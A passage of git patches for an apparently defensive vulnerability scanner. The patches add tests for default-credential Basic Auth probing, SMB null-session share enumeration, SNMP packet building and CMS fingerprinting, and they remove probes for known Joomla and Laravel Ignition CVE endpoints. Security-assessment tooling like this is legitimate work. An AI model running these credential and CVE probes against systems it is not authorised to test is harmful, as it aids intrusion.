worker._ssh_check_libssh_bypass("192.0.2.1", 99999) + self.assertIsNone(result) + + def test_ssh_libssh_cves_in_db(self): + """CVE-2018-10933 is present in CVE database for libssh.""" + from extensions.business.cybersec.red_mesh.cve_db import check_cves + findings = check_cves("libssh", "0.8.1") + self.assertTrue(len(findings) >= 1) + titles = [f.title for f in findings] + self.assertTrue(any("CVE-2018-10933" in t for t in titles)) + + # ---- 17a-2: Protocol fingerprinting ---- + + def test_generic_fingerprint_redis(self): + """Redis RESP banner is recognized.""" + _, worker = self._build_worker() + self.assertTrue(worker._is_redis_banner(b"+PONG\r\n")) + self.assertTrue(worker._is_redis_banner(b"-ERR unknown command\r\n")) + self.assertTrue(worker._is_redis_banner(b"$11\r\nHello World\r\n")) + self.assertFalse(worker._is_redis_banner(b"HTTP/1.1 200 OK\r\n")) + + def test_generic_fingerprint_ftp(self): + """FTP 220 banner is recognized.""" + _, worker = self._build_worker() + self.assertTrue(worker._is_ftp_banner(b"220 Welcome to FTP\r\n")) + self.assertTrue(worker._is_ftp_banner(b"220-ProFTPD 1.3.5\r\n")) + self.assertFalse(worker._is_ftp_banner(b"SSH-2.0-OpenSSH\r\n")) + + def test_generic_fingerprint_mysql(self): + """MySQL handshake packet is recognized.""" + _, worker = self._build_worker() + # MySQL v10 handshake: 3-byte length + 1-byte seq + 0x0a + version string + handshake = b'\x4a\x00\x00\x00\x0a5.5.23\x00' + b'\x00' * 40 + self.assertTrue(worker._is_mysql_handshake(handshake)) + self.assertFalse(worker._is_mysql_handshake(b"HTTP/1.1 200 OK")) + + def test_generic_fingerprint_smtp(self): + """SMTP banner is recognized.""" + _, worker = self._build_worker() + self.assertTrue(worker._is_smtp_banner(b"220 mail.example.com ESMTP Postfix\r\n")) + self.assertFalse(worker._is_smtp_banner(b"220 ProFTPD 1.3\r\n")) + + def test_generic_fingerprint_rsync(self): + """Rsync banner is recognized.""" + _, worker = self._build_worker() + self.assertTrue(worker._is_rsync_banner(b"@RSYNCD: 31.0\n")) + self.assertFalse(worker._is_rsync_banner(b"+OK Dovecot ready\r\n")) + + def test_generic_fingerprint_telnet(self): + """Telnet IAC sequence is recognized.""" + _, worker = self._build_worker() + self.assertTrue(worker._is_telnet_banner(b"\xFF\xFB\x01\xFF\xFB\x03")) + self.assertFalse(worker._is_telnet_banner(b"HTTP/1.0 200")) + + def test_generic_reclassifies_port_protocol(self): + """When a protocol is fingerprinted, port_protocols is updated.""" + _, worker = self._build_worker(ports=[993]) + worker.state["port_protocols"] = {993: "unknown"} + # Simulate Redis banner on port 993 + redis_banner = b"+PONG\r\n" + # Mock the Redis probe to avoid real connection + mock_result = {"findings": [], "vulnerabilities": []} + with patch.object(worker, '_service_info_redis', return_value=mock_result): + result = worker._generic_fingerprint_protocol(redis_banner, "10.0.0.1", 993) + self.assertEqual(worker.state["port_protocols"][993], "redis") + self.assertIsNotNone(result) + + # ---- 17a-5: ES IP classification + JVM ---- + + def test_es_nodes_public_ip_critical(self): + """Public IP from _nodes endpoint is flagged CRITICAL.""" + _, worker = self._build_worker(ports=[9200]) + worker.state["scan_metadata"] = {"internal_ips": []} + raw = {} + mock_resp = MagicMock() + mock_resp.ok = True + mock_resp.json.return_value = { + "nodes": { + "n1": { + "host": "34.51.200.39", + "jvm": {"version": "1.7.0_55"}, + } + } + } + with patch('requests.get', return_value=mock_resp): + findings = worker._es_check_nodes("http://10.0.0.1:9200", raw) + titles = [f.title for f in findings] + severities = [f.severity for f in findings] + # Public IP should be CRITICAL + self.assertTrue(any("public ip" in t.lower() for t in titles), f"Expected public IP finding, got: {titles}") + self.assertIn("CRITICAL", severities) + # JVM EOL + self.assertTrue(any("eol jvm" in t.lower() for t in titles), f"Expected EOL JVM finding, got: {titles}") + self.assertEqual(raw.get("jvm_version"), "1.7.0_55") + + def test_es_nodes_private_ip_medium(self): + """Private IP from _nodes endpoint is flagged MEDIUM (not CRITICAL).""" + _, worker = self._build_worker(ports=[9200]) + worker.state["scan_metadata"] = {"internal_ips": []} + raw = {} + mock_resp = MagicMock() + mock_resp.ok = True + mock_resp.json.return_value = { + "nodes": {"n1": {"host": "192.168.1.100"}} + } + with patch('requests.get', return_value=mock_resp): + findings = worker._es_check_nodes("http://10.0.0.1:9200", raw) + severities = [f.severity for f in findings] + self.assertIn("MEDIUM", severities) + self.assertNotIn("CRITICAL", severities) + + def test_es_nodes_jvm_modern_no_finding(self): + """Modern JVM (Java 17+) should not produce an EOL finding.""" + _, worker = self._build_worker(ports=[9200]) + worker.state["scan_metadata"] = {"internal_ips": []} + raw = {} + mock_resp = MagicMock() + mock_resp.ok = True + mock_resp.json.return_value = { + "nodes": {"n1": {"host": "10.0.0.5", "jvm": {"version": "17.0.5"}}} + } + with patch('requests.get', return_value=mock_resp): + findings = worker._es_check_nodes("http://10.0.0.1:9200", raw) + titles = [f.title for f in findings] + self.assertFalse(any("EOL JVM" in t for t in titles)) + + class VerboseResult(unittest.TextTestResult): def addSuccess(self, test): super().addSuccess(test) @@ -4635,4 +4793,5 @@ def addSuccess(self, test): suite.addTests(unittest.defaultTestLoader.loadTestsFromTestCase(TestPhase14Purge)) suite.addTests(unittest.defaultTestLoader.loadTestsFromTestCase(TestPhase15Listing)) suite.addTests(unittest.defaultTestLoader.loadTestsFromTestCase(TestPhase16ScanMetrics)) + suite.addTests(unittest.defaultTestLoader.loadTestsFromTestCase(TestPhase17aQuickWins)) runner.run(suite) From cebf2cea972841d020f422b95818ec96caf27276 Mon Sep 17 00:00:00 2001 From: toderian Date: Sun, 8 Mar 2026 13:57:27 +0000 Subject: [PATCH 023/114] fix: improve web tests | add cms fingerprinting --- .../business/cybersec/red_mesh/constants.py | 7 +- .../cybersec/red_mesh/test_redmesh.py | 270 ++++++ .../cybersec/red_mesh/web_discovery_mixin.py | 772 +----------------- .../cybersec/red_mesh/web_hardening_mixin.py | 335 -------- 4 files changed, 280 insertions(+), 1104 deletions(-) diff --git a/extensions/business/cybersec/red_mesh/constants.py b/extensions/business/cybersec/red_mesh/constants.py index c47d2c04..1b063290 100644 --- a/extensions/business/cybersec/red_mesh/constants.py +++ b/extensions/business/cybersec/red_mesh/constants.py @@ -48,14 +48,14 @@ "label": "Discovery", "description": "Enumerate exposed files, admin panels, homepage secrets, tech fingerprinting, and VPN endpoints (OWASP WSTG-INFO).", "category": "web", - "methods": ["_web_test_common", "_web_test_homepage", "_web_test_tech_fingerprint", "_web_test_vpn_endpoints"] + "methods": ["_web_test_common", "_web_test_homepage", "_web_test_tech_fingerprint", "_web_test_vpn_endpoints", "_web_test_cms_fingerprint"] }, { "id": "web_hardening", "label": "Hardening audit", "description": "Audit cookie flags, security headers, CORS policy, redirect handling, and HTTP methods (OWASP WSTG-CONF).", "category": "web", - "methods": ["_web_test_flags", "_web_test_security_headers", "_web_test_cors_misconfiguration", "_web_test_open_redirect", "_web_test_http_methods"] + "methods": ["_web_test_flags", "_web_test_security_headers", "_web_test_cors_misconfiguration", "_web_test_open_redirect", "_web_test_http_methods", "_web_test_csrf"] }, { "id": "web_api_exposure", @@ -76,7 +76,7 @@ "label": "Credential testing", "description": "Test default/weak credentials on database and remote access services. May trigger account lockout.", "category": "service", - "methods": ["_service_info_mysql_creds", "_service_info_postgresql_creds"] + "methods": ["_service_info_mysql_creds", "_service_info_postgresql_creds", "_service_info_http_basic_auth"] }, { "id": "post_scan_correlation", @@ -172,6 +172,7 @@ "_service_info_generic": frozenset({"unknown"}), "_service_info_mysql_creds": frozenset({"mysql"}), "_service_info_postgresql_creds": frozenset({"postgresql"}), + "_service_info_http_basic_auth": frozenset({"http", "https"}), } # ===================================================================== diff --git a/extensions/business/cybersec/red_mesh/test_redmesh.py b/extensions/business/cybersec/red_mesh/test_redmesh.py index b270a4a3..87fe0492 100644 --- a/extensions/business/cybersec/red_mesh/test_redmesh.py +++ b/extensions/business/cybersec/red_mesh/test_redmesh.py @@ -4771,6 +4771,275 @@ def test_es_nodes_jvm_modern_no_finding(self): self.assertFalse(any("EOL JVM" in t for t in titles)) +class TestPhase17bMediumFeatures(unittest.TestCase): + """Phase 17b: Medium feature probe enhancements.""" + + def _build_worker(self, ports=None): + if ports is None: + ports = [80] + owner = DummyOwner() + worker = PentestLocalWorker( + owner=owner, + target="example.com", + job_id="job-17b", + initiator="init@example", + local_id_prefix="M", + worker_target_ports=ports, + ) + worker.stop_event = MagicMock() + worker.stop_event.is_set.return_value = False + return owner, worker + + # ---- 17b-2: HTTP Basic Auth ---- + + def test_http_basic_auth_detects_default_creds(self): + """Default admin:admin credential flagged when accepted.""" + _, worker = self._build_worker(ports=[80]) + + def mock_get(url, **kwargs): + resp = MagicMock() + auth = kwargs.get("auth") + if auth is None: + # Initial probe — return 401 with Basic auth + resp.status_code = 401 + resp.headers = {"WWW-Authenticate": 'Basic realm="test"'} + elif auth == ("admin", "admin"): + resp.status_code = 200 + resp.headers = {} + else: + resp.status_code = 401 + resp.headers = {} + return resp + + with patch('requests.get', side_effect=mock_get): + result = worker._service_info_http_basic_auth("10.0.0.1", 80) + self.assertIsNotNone(result) + titles = [f["title"] for f in result.get("findings", [])] + self.assertTrue(any("default credential" in t.lower() for t in titles), f"titles={titles}") + + def test_http_basic_auth_skips_non_basic(self): + """Probe returns None when no Basic auth is present.""" + _, worker = self._build_worker(ports=[80]) + mock_resp = MagicMock() + mock_resp.status_code = 200 + mock_resp.headers = {} + with patch('requests.get', return_value=mock_resp): + result = worker._service_info_http_basic_auth("10.0.0.1", 80) + self.assertIsNone(result) + + def test_http_basic_auth_no_rate_limiting(self): + """Flags missing rate limiting when all attempts return 401.""" + _, worker = self._build_worker(ports=[80]) + call_count = [0] + + def mock_get(url, **kwargs): + resp = MagicMock() + call_count[0] += 1 + resp.status_code = 401 + resp.headers = {"WWW-Authenticate": 'Basic realm="test"'} + return resp + + with patch('requests.get', side_effect=mock_get): + result = worker._service_info_http_basic_auth("10.0.0.1", 80) + self.assertIsNotNone(result) + titles = [f["title"] for f in result.get("findings", [])] + self.assertTrue(any("rate limiting" in t.lower() for t in titles), f"titles={titles}") + + # ---- 17b-3: CSRF detection ---- + + def test_csrf_detects_missing_token(self): + """POST form without CSRF hidden field is flagged.""" + _, worker = self._build_worker(ports=[80]) + html = '
' + mock_resp = MagicMock() + mock_resp.status_code = 200 + mock_resp.text = html + mock_resp.headers = {} + with patch('requests.get', return_value=mock_resp): + result = worker._web_test_csrf("10.0.0.1", 80) + titles = [f["title"] for f in result.get("findings", [])] + self.assertTrue(any("csrf" in t.lower() for t in titles), f"titles={titles}") + + def test_csrf_passes_with_token(self): + """POST form with csrf_token field passes.""" + _, worker = self._build_worker(ports=[80]) + html = '
' + mock_resp = MagicMock() + mock_resp.status_code = 200 + mock_resp.text = html + mock_resp.headers = {} + with patch('requests.get', return_value=mock_resp): + result = worker._web_test_csrf("10.0.0.1", 80) + findings = result.get("findings", []) + csrf_findings = [f for f in findings if "csrf" in f.get("title", "").lower()] + self.assertEqual(len(csrf_findings), 0) + + def test_csrf_passes_with_header_token(self): + """SPA-style X-CSRF-Token header causes skip.""" + _, worker = self._build_worker(ports=[80]) + html = '
' + mock_resp = MagicMock() + mock_resp.status_code = 200 + mock_resp.text = html + mock_resp.headers = {"x-csrf-token": "abc123"} + with patch('requests.get', return_value=mock_resp): + result = worker._web_test_csrf("10.0.0.1", 80) + findings = result.get("findings", []) + csrf_findings = [f for f in findings if "csrf" in f.get("title", "").lower()] + self.assertEqual(len(csrf_findings), 0) + + # ---- 17b-4: SNMP MIB walk ---- + + def test_snmp_getnext_packet_valid(self): + """GETNEXT packet is well-formed ASN.1.""" + _, worker = self._build_worker() + pkt = worker._snmp_build_getnext("public", "1.3.6.1.2.1.1.0") + # First byte is 0x30 (SEQUENCE) + self.assertEqual(pkt[0], 0x30) + # Community string "public" should be embedded + self.assertIn(b"public", pkt) + + def test_snmp_encode_oid_basic(self): + """OID encoding for well-known system MIB OID.""" + _, worker2 = self._build_worker() + encoded = worker2._snmp_encode_oid("1.3.6.1.2.1.1.1.0") + # First byte: 40*1 + 3 = 43 = 0x2B + self.assertEqual(encoded[0], 0x2B) + + def test_snmp_encode_oid_large_value(self): + """OID encoding handles values >= 128.""" + _, worker = self._build_worker() + encoded = worker._snmp_encode_oid("1.3.6.1.2.1.4.20.1.1") + self.assertEqual(encoded[0], 0x2B) # 40*1 + 3 + + def test_snmp_parse_response_valid(self): + """Parse a well-formed SNMP response.""" + # Build a valid SNMP response manually + _, worker = self._build_worker() + # Construct minimal SNMP response with OID 1.3.6.1.2.1.1.1.0 and value "Linux" + oid_body = worker._snmp_encode_oid("1.3.6.1.2.1.1.1.0") + oid_tlv = bytes([0x06, len(oid_body)]) + oid_body + value = b"Linux" + val_tlv = bytes([0x04, len(value)]) + value + varbind = bytes([0x30, len(oid_tlv) + len(val_tlv)]) + oid_tlv + val_tlv + varbind_seq = bytes([0x30, len(varbind)]) + varbind + req_id = b"\x02\x01\x01" + err_status = b"\x02\x01\x00" + err_index = b"\x02\x01\x00" + pdu_body = req_id + err_status + err_index + varbind_seq + pdu = bytes([0xA2, len(pdu_body)]) + pdu_body + version = b"\x02\x01\x00" + comm = bytes([0x04, 0x06]) + b"public" + inner = version + comm + pdu + packet = bytes([0x30, len(inner)]) + inner + + oid_str, val_str = worker._snmp_parse_response(packet) + self.assertEqual(oid_str, "1.3.6.1.2.1.1.1.0") + self.assertEqual(val_str, "Linux") + + def test_snmp_ics_detection(self): + """ICS keywords in sysDescr trigger detection.""" + _, worker = self._build_worker() + self.assertTrue(worker._is_ics_indicator("Siemens SIMATIC S7-300")) + self.assertTrue(worker._is_ics_indicator("Schneider Electric Modicon M340")) + self.assertFalse(worker._is_ics_indicator("Linux 5.15.0-generic")) + + # ---- 17b-5: CMS fingerprinting ---- + + def test_cms_detects_wordpress(self): + """WordPress detected via generator meta tag.""" + _, worker = self._build_worker(ports=[80]) + html = '' + mock_resp = MagicMock() + mock_resp.ok = True + mock_resp.status_code = 200 + mock_resp.text = html + with patch('requests.get', return_value=mock_resp): + result = worker._web_test_cms_fingerprint("10.0.0.1", 80) + titles = [f["title"] for f in result.get("findings", [])] + self.assertTrue(any("WordPress 6.4.2" in t for t in titles), f"titles={titles}") + + def test_cms_detects_drupal_changelog(self): + """Drupal detected via CHANGELOG.txt.""" + _, worker = self._build_worker(ports=[80]) + + def mock_get(url, **kwargs): + resp = MagicMock() + resp.ok = True + resp.status_code = 200 + if "CHANGELOG" in url: + resp.text = "Drupal 10.2.1 (2024-01-15)" + else: + resp.text = "Hello" + return resp + + with patch('requests.get', side_effect=mock_get): + result = worker._web_test_cms_fingerprint("10.0.0.1", 80) + titles = [f["title"] for f in result.get("findings", [])] + self.assertTrue(any("Drupal 10.2.1" in t for t in titles), f"titles={titles}") + + def test_cms_flags_eol_drupal7(self): + """Drupal 7 flagged as EOL.""" + _, worker = self._build_worker(ports=[80]) + findings = worker._cms_check_eol("Drupal", "7.98") + self.assertTrue(any("end-of-life" in f.title.lower() for f in findings)) + + def test_cms_no_eol_modern_wordpress(self): + """WordPress 6.x not flagged as EOL.""" + _, worker = self._build_worker(ports=[80]) + findings = worker._cms_check_eol("WordPress", "6.4.2") + eol_findings = [f for f in findings if "end-of-life" in f.title.lower()] + self.assertEqual(len(eol_findings), 0) + + # ---- 17b-1: SMB share enumeration ---- + + def test_smb_enum_shares_returns_list(self): + """_smb_enum_shares returns empty list on connection failure.""" + _, worker = self._build_worker(ports=[445]) + result = worker._smb_enum_shares("192.0.2.1", 99999) + self.assertIsInstance(result, list) + self.assertEqual(len(result), 0) + + def test_smb_parse_netshareenumall_empty(self): + """Empty stub data returns empty list.""" + _, worker = self._build_worker(ports=[445]) + result = worker._parse_netshareenumall_response(b"") + self.assertEqual(result, []) + + def test_smb_parse_netshareenumall_too_short(self): + """Short stub returns empty list.""" + _, worker = self._build_worker(ports=[445]) + result = worker._parse_netshareenumall_response(b"\x00" * 10) + self.assertEqual(result, []) + + def test_smb_share_wiring_admin_shares_high(self): + """Admin shares found via null session produce HIGH finding.""" + _, worker = self._build_worker(ports=[445]) + mock_shares = [ + {"name": "IPC$", "type": 3, "comment": "IPC Service"}, + {"name": "C$", "type": 0, "comment": "Default share"}, + {"name": "public", "type": 0, "comment": "Public files"}, + ] + with patch.object(worker, '_smb_enum_shares', return_value=mock_shares), \ + patch.object(worker, '_smb_try_null_session', return_value="4.10.0"), \ + patch('socket.socket') as mock_sock_cls: + mock_sock = MagicMock() + mock_sock_cls.return_value = mock_sock + # Return SMBv1 negotiate response + smb_resp = bytearray(128) + smb_resp[0:4] = b"\xffSMB" + smb_resp[4] = 0x72 + smb_resp[32] = 17 # word_count + smb_resp[35] = 0x08 # security_mode (signing required) + mock_sock.recv.side_effect = [ + b"\x00\x00\x00\x80", # NetBIOS header + bytes(smb_resp), # SMB response + ] + result = worker._service_info_smb("10.0.0.1", 445) + titles = [f["title"] for f in result.get("findings", [])] + self.assertTrue(any("admin shares" in t.lower() for t in titles), f"titles={titles}") + + class VerboseResult(unittest.TextTestResult): def addSuccess(self, test): super().addSuccess(test) @@ -4794,4 +5063,5 @@ def addSuccess(self, test): suite.addTests(unittest.defaultTestLoader.loadTestsFromTestCase(TestPhase15Listing)) suite.addTests(unittest.defaultTestLoader.loadTestsFromTestCase(TestPhase16ScanMetrics)) suite.addTests(unittest.defaultTestLoader.loadTestsFromTestCase(TestPhase17aQuickWins)) + suite.addTests(unittest.defaultTestLoader.loadTestsFromTestCase(TestPhase17bMediumFeatures)) runner.run(suite) diff --git a/extensions/business/cybersec/red_mesh/web_discovery_mixin.py b/extensions/business/cybersec/red_mesh/web_discovery_mixin.py index e2c50fc8..f6ce896f 100644 --- a/extensions/business/cybersec/red_mesh/web_discovery_mixin.py +++ b/extensions/business/cybersec/red_mesh/web_discovery_mixin.py @@ -3,7 +3,6 @@ import requests from .findings import Finding, Severity, probe_result, probe_error -from .cve_db import check_cves class _WebDiscoveryMixin: @@ -69,17 +68,6 @@ def _web_test_common(self, target, port): "WordPress login page accessible — confirms WordPress deployment."), "/.well-known/security.txt": (Severity.INFO, "", "", "Security policy (RFC 9116) published."), - # Debug & monitoring endpoints (A09 — exposed monitoring) - "/actuator": (Severity.HIGH, "CWE-215", "A09:2021", - "Spring Boot Actuator exposed — may leak env vars, health, and beans."), - "/actuator/env": (Severity.HIGH, "CWE-215", "A09:2021", - "Spring Boot environment dump — leaks config, secrets, and database URLs."), - "/server-status": (Severity.HIGH, "CWE-215", "A09:2021", - "Apache mod_status exposed — reveals active connections and request details."), - "/server-info": (Severity.HIGH, "CWE-215", "A09:2021", - "Apache mod_info exposed — reveals server configuration."), - "/elmah.axd": (Severity.HIGH, "CWE-215", "A09:2021", - ".NET ELMAH error log viewer exposed — reveals stack traces and request data."), } try: @@ -127,17 +115,16 @@ def _web_test_homepage(self, target, port): base_url = f"{scheme}://{target}:{port}" _MARKER_META = { - # (severity, title, owasp_id) — private key is A08 (integrity), rest is A01 (access control) - "API_KEY": (Severity.CRITICAL, "API key found in page source", "A01:2021"), - "PASSWORD": (Severity.CRITICAL, "Password string found in page source", "A01:2021"), - "SECRET": (Severity.HIGH, "Secret string found in page source", "A01:2021"), - "BEGIN RSA PRIVATE KEY": (Severity.CRITICAL, "RSA private key found in page source", "A08:2021"), + "API_KEY": (Severity.CRITICAL, "API key found in page source"), + "PASSWORD": (Severity.CRITICAL, "Password string found in page source"), + "SECRET": (Severity.HIGH, "Secret string found in page source"), + "BEGIN RSA PRIVATE KEY": (Severity.CRITICAL, "RSA private key found in page source"), } try: resp_main = requests.get(base_url, timeout=3, verify=False) text = resp_main.text[:10000] - for marker, (severity, title, owasp) in _MARKER_META.items(): + for marker, (severity, title) in _MARKER_META.items(): if marker in text: findings_list.append(Finding( severity=severity, @@ -145,7 +132,7 @@ def _web_test_homepage(self, target, port): description=f"The string '{marker}' was found in the HTML source of {base_url}.", evidence=f"Marker '{marker}' present in first 10KB of response.", remediation="Remove sensitive data from client-facing HTML; use server-side environment variables.", - owasp_id=owasp, + owasp_id="A01:2021", cwe_id="CWE-540", confidence="firm", )) @@ -390,23 +377,6 @@ def _web_test_cms_fingerprint(self, target, port): except Exception: pass - # --- WordPress version fallback: /feed/, /wp-links-opml.php, /readme.html --- - if wp_version == "unknown": - for _wp_path, _wp_re in [ - ("/feed/", r'https?://wordpress\.org/\?v=([0-9.]+)'), - ("/wp-links-opml.php", r'generator="WordPress/([0-9.]+)"'), - ("/readme.html", r'Version\s+([0-9.]+)'), - ]: - try: - resp = requests.get(base_url + _wp_path, timeout=3, verify=False) - if resp.ok: - _wp_m = _re.search(_wp_re, resp.text, _re.IGNORECASE) - if _wp_m: - wp_version = _wp_m.group(1) - break - except Exception: - pass - if wp_version: raw["cms"] = "WordPress" raw["version"] = wp_version @@ -419,9 +389,6 @@ def _web_test_cms_fingerprint(self, target, port): confidence="certain", )) findings_list += self._cms_check_eol("WordPress", wp_version) - if wp_version != "unknown": - findings_list += check_cves("wordpress", wp_version) - findings_list += self._wp_detect_plugins(base_url) for path, desc in self._WP_SENSITIVE_PATHS: try: resp = requests.get(base_url + path, timeout=3, verify=False) @@ -462,24 +429,6 @@ def _web_test_cms_fingerprint(self, target, port): except Exception: pass - # --- Drupal version fallback: install.php, JS query strings --- - _DRUPAL_VERSION_SOURCES = [ - ("/core/modules/system/system.info.yml", r"version:\s*'?([0-9]+\.[0-9]+\.[0-9]+)"), - ("/core/install.php", r'site-version[^>]*>([0-9]+\.[0-9]+\.[0-9]+)'), - ("/core/install.php", r'drupal\.js\?v=([0-9]+\.[0-9]+\.[0-9]+)'), - ] - if drupal_version and (drupal_version == "unknown" or _re.match(r'^\d+$', drupal_version)): - for _dp_path, _dp_re in _DRUPAL_VERSION_SOURCES: - try: - resp = requests.get(base_url + _dp_path, timeout=3, verify=False) - if resp.ok: - _dp_m = _re.search(_dp_re, resp.text) - if _dp_m: - drupal_version = _dp_m.group(1) - break - except Exception: - pass - if drupal_version: raw["cms"] = "Drupal" raw["version"] = drupal_version @@ -492,8 +441,6 @@ def _web_test_cms_fingerprint(self, target, port): confidence="certain", )) findings_list += self._cms_check_eol("Drupal", drupal_version) - if drupal_version != "unknown" and not _re.match(r'^\d+$', drupal_version): - findings_list += check_cves("drupal", drupal_version) return probe_result(raw_data=raw, findings=findings_list) # --- Joomla detection --- @@ -525,102 +472,6 @@ def _web_test_cms_fingerprint(self, target, port): confidence="certain", )) findings_list += self._cms_check_eol("Joomla", joomla_version) - if joomla_version != "unknown": - findings_list += check_cves("joomla", joomla_version) - # CVE-2023-23752: Unauthenticated config disclosure via REST API - try: - resp = requests.get( - base_url + "/api/index.php/v1/config/application?public=true", - timeout=3, verify=False, - ) - if resp.ok and ("password" in resp.text.lower() or '"db"' in resp.text.lower() or '"dbtype"' in resp.text.lower()): - findings_list.append(Finding( - severity=Severity.HIGH, - title="CVE-2023-23752: Joomla unauthenticated config disclosure", - description="Joomla REST API exposes application configuration " - "including database credentials without authentication.", - evidence=f"GET {base_url}/api/index.php/v1/config/application?public=true → 200", - remediation="Upgrade Joomla to >= 4.2.8.", - owasp_id="A01:2021", - cwe_id="CWE-284", - confidence="certain", - )) - except Exception: - pass - return probe_result(raw_data=raw, findings=findings_list) - - # --- Laravel / Ignition detection --- - laravel_detected = False - ignition_detected = False - - # Check /_ignition/health-check - try: - resp = requests.get(base_url + "/_ignition/health-check", timeout=3, verify=False) - if resp.ok and ("can_execute_commands" in resp.text or "ok" in resp.text.lower()): - ignition_detected = True - laravel_detected = True - findings_list.append(Finding( - severity=Severity.HIGH, - title="Laravel Ignition debug endpoint exposed", - description="/_ignition/health-check is accessible, indicating Laravel's " - "debug error handler is enabled in production.", - evidence=f"GET {base_url}/_ignition/health-check → {resp.status_code}", - remediation="Set APP_DEBUG=false in production; remove Ignition package.", - owasp_id="A05:2021", - cwe_id="CWE-489", - confidence="certain", - )) - except Exception: - pass - - # Check for Laravel indicators in error pages - if not laravel_detected: - try: - resp = requests.get( - base_url + "/nonexistent_" + _uuid.uuid4().hex[:8], - timeout=3, verify=False, - ) - body = resp.text[:10000].lower() - if "laravel" in body or "illuminate" in body: - laravel_detected = True - except Exception: - pass - - if ignition_detected: - # CVE-2021-3129: check execute-solution endpoint - try: - resp = requests.post( - base_url + "/_ignition/execute-solution", - json={"solution": "test", "parameters": {}}, - timeout=3, verify=False, - ) - if resp.status_code != 404: - findings_list.append(Finding( - severity=Severity.CRITICAL, - title="CVE-2021-3129: Laravel Ignition RCE endpoint accessible", - description="/_ignition/execute-solution accepts POST requests. " - "With Ignition < 2.5.2, this enables unauthenticated RCE " - "via file_put_contents abuse.", - evidence=f"POST {base_url}/_ignition/execute-solution → {resp.status_code}", - remediation="Upgrade Ignition to >= 2.5.2; set APP_DEBUG=false.", - owasp_id="A06:2021", - cwe_id="CWE-94", - confidence="firm", - )) - except Exception: - pass - - if laravel_detected: - raw["cms"] = "Laravel" - raw["version"] = "unknown" - findings_list.append(Finding( - severity=Severity.LOW, - title="Laravel framework detected", - description=f"Laravel framework identified on {target}:{port}.", - evidence="Detection via Ignition endpoint or error page markers.", - remediation="Keep Laravel and dependencies updated.", - confidence="certain", - )) return probe_result(raw_data=raw, findings=findings_list) @@ -644,614 +495,3 @@ def _cms_check_eol(self, cms_name, version): confidence="certain", )) return findings - - # --- WordPress plugin detection (A06 improvement) --- - - _WP_PLUGIN_CHECKS = [ - ("elementor", "Elementor"), - ("contact-form-7", "Contact Form 7"), - ("woocommerce", "WooCommerce"), - ("yoast-seo", "Yoast SEO"), - ("wordfence", "Wordfence"), - ("wpforms-lite", "WPForms"), - ("all-in-one-seo-pack", "All in One SEO"), - ("updraftplus", "UpdraftPlus"), - ] - - def _wp_detect_plugins(self, base_url): - """Detect WordPress plugins via readme.txt version disclosure.""" - findings = [] - for slug, name in self._WP_PLUGIN_CHECKS: - try: - url = f"{base_url}/wp-content/plugins/{slug}/readme.txt" - resp = requests.get(url, timeout=3, verify=False) - if resp.status_code != 200: - continue - ver_match = _re.search(r'Stable tag:\s*([0-9.]+)', resp.text, _re.IGNORECASE) - version = ver_match.group(1) if ver_match else "unknown" - findings.append(Finding( - severity=Severity.LOW, - title=f"WordPress plugin version exposed: {name} {version}", - description=f"Plugin {name} detected via readme.txt. " - "Version disclosure aids targeted exploit search.", - evidence=f"GET {url} → Stable tag: {version}", - remediation="Block access to plugin readme.txt files.", - owasp_id="A06:2021", - cwe_id="CWE-200", - confidence="certain", - )) - except Exception: - continue - return findings - - - # ── A09:2021 — Verbose errors & debug mode detection ──────────────── - - _STACK_TRACE_MARKERS = [ - ("Traceback (most recent call last)", "Python"), - ("SQLSTATE[", "PHP PDO"), - ("Fatal error:", "PHP"), - ("Parse error:", "PHP"), - ("Exception in thread", "Java"), - ("Stack trace:", "Generic"), - ] - _DEBUG_MODE_MARKERS = [ - ("djdt", "Django Debug Toolbar"), - ("Django REST framework", "Django REST"), - ] - _PATH_LEAK_PATTERNS = [ - _re.compile(r'(/home/\w+|/var/www/|/opt/|/usr/local/|C:\\\\[Uu]sers)'), - ] - - def _web_test_verbose_errors(self, target, port): - """ - Detect verbose error pages and debug mode indicators (safe probes only). - - Requests a random non-existent path to trigger 404 handling, then checks - for stack traces, framework debug output, and filesystem path leaks. - Also probes for debug endpoints (__debug__/, actuator/env). - - Parameters - ---------- - target : str - port : int - - Returns - ------- - dict - """ - findings_list = [] - scheme = "https" if port in (443, 8443) else "http" - base_url = f"{scheme}://{target}" if port in (80, 443) else f"{scheme}://{target}:{port}" - - # --- 1. Trigger a 404 and inspect the error page --- - try: - canary = f"/nonexistent_{_uuid.uuid4().hex[:8]}" - resp = requests.get(base_url + canary, timeout=3, verify=False) - body = resp.text[:10000] - - for marker, framework in self._STACK_TRACE_MARKERS: - if marker in body: - findings_list.append(Finding( - severity=Severity.MEDIUM, - title=f"Verbose error page: {framework} stack trace exposed", - description=f"Error page at {canary} contains {framework} stack trace, " - "leaking internal code structure and potentially secrets.", - evidence=f"Marker '{marker}' found in 404 response.", - remediation="Configure production error handling to return generic error pages.", - owasp_id="A09:2021", - cwe_id="CWE-209", - confidence="certain", - )) - break - - for pattern in self._PATH_LEAK_PATTERNS: - match = pattern.search(body) - if match and not findings_list: - findings_list.append(Finding( - severity=Severity.LOW, - title=f"Internal path leaked in error page", - description="Error page reveals filesystem paths.", - evidence=f"Path pattern: {match.group(0)}", - remediation="Suppress internal paths in error responses.", - owasp_id="A09:2021", - cwe_id="CWE-209", - confidence="firm", - )) - except Exception: - pass - - # --- 2. Debug mode detection on homepage --- - try: - resp = requests.get(base_url, timeout=3, verify=False) - body = resp.text[:10000] - for marker, framework in self._DEBUG_MODE_MARKERS: - if marker in body: - findings_list.append(Finding( - severity=Severity.HIGH, - title=f"Debug mode enabled: {framework}", - description=f"Debug interface detected on homepage, exposing internal " - "state, SQL queries, and configuration.", - evidence=f"Marker '{marker}' found in homepage.", - remediation=f"Disable {framework} debug mode in production.", - owasp_id="A09:2021", - cwe_id="CWE-489", - confidence="certain", - )) - break - except Exception: - pass - - # --- 3. Django __debug__/ endpoint --- - try: - resp = requests.get(base_url + "/__debug__/", timeout=3, verify=False) - if resp.status_code == 200 and "djdt" in resp.text.lower(): - findings_list.append(Finding( - severity=Severity.HIGH, - title="Debug mode enabled: Django Debug Toolbar endpoint", - description="Django Debug Toolbar is accessible at /__debug__/.", - evidence="GET /__debug__/ returned 200 with djdt content.", - remediation="Remove django-debug-toolbar from production or restrict access.", - owasp_id="A09:2021", - cwe_id="CWE-489", - confidence="certain", - )) - except Exception: - pass - - return probe_result(findings=findings_list) - - - # ── Java Application Server fingerprinting ────────────────────────── - - _JAVA_SERVER_EOL = { - "JBoss AS": {"5": 